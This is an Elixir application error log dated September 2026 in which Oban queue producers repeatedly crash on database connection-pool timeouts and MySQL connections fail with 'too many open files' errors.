    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:59:04.241950Z], limit: 10, uuid: "0f3e154f-5adb-4e64-b305-09d41bbd55ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:04.241955Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.255833>, refresh_timer: #Reference<0.2525715032.1068236804.247980>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:16.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:59:04.244460Z], limit: 5, uuid: "2bf8343d-96e2-4523-a38a-058d38630b54", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:04.244466Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.255834>, refresh_timer: #Reference<0.2525715032.1068236804.247993>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:59:04.242023Z], limit: 20, uuid: "128e43bb-e4e3-4c0c-99ef-237ce2f2cb10", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:04.242028Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.255829>, refresh_timer: #Reference<0.2525715032.1099169794.255800>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:17.105000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:17.357000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:22.144000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:23.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:26.916000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:27.528000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:59:16.243900Z], limit: 3, uuid: "4404598b-1c0b-4742-9750-b1aec6ef7325", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:16.243907Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.228856>, refresh_timer: #Reference<0.2525715032.1068236804.248030>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:59:16.243422Z], limit: 5, uuid: "530c6c15-e142-4d1b-bbbf-780122cab851", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:16.243427Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.101642>, refresh_timer: #Reference<0.2525715032.1121189889.101615>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:59:16.244732Z], limit: 20, uuid: "719e791b-d477-4d8f-a7c7-685782122942", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:16.244738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.101639>, refresh_timer: #Reference<0.2525715032.1121189889.101626>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:59:16.243118Z], limit: 10, uuid: "e0490f8d-8073-4962-a1ed-3204e293ab63", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:16.243125Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.101640>, refresh_timer: #Reference<0.2525715032.1121189889.101600>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:59:16.240189Z], limit: 50, uuid: "2953c487-22d5-4d5c-b67c-ffc6c3d7b24d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:16.240195Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.101643>, refresh_timer: #Reference<0.2525715032.1121189889.101587>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:59:16.239304Z], limit: 5, uuid: "f52f1f85-1cc3-457e-9de9-09f9e584265f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:16.239315Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.101641>, refresh_timer: #Reference<0.2525715032.1121189889.101586>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:28.534000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:30.648000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:32.864000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:34.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:35.002000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:35.013000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
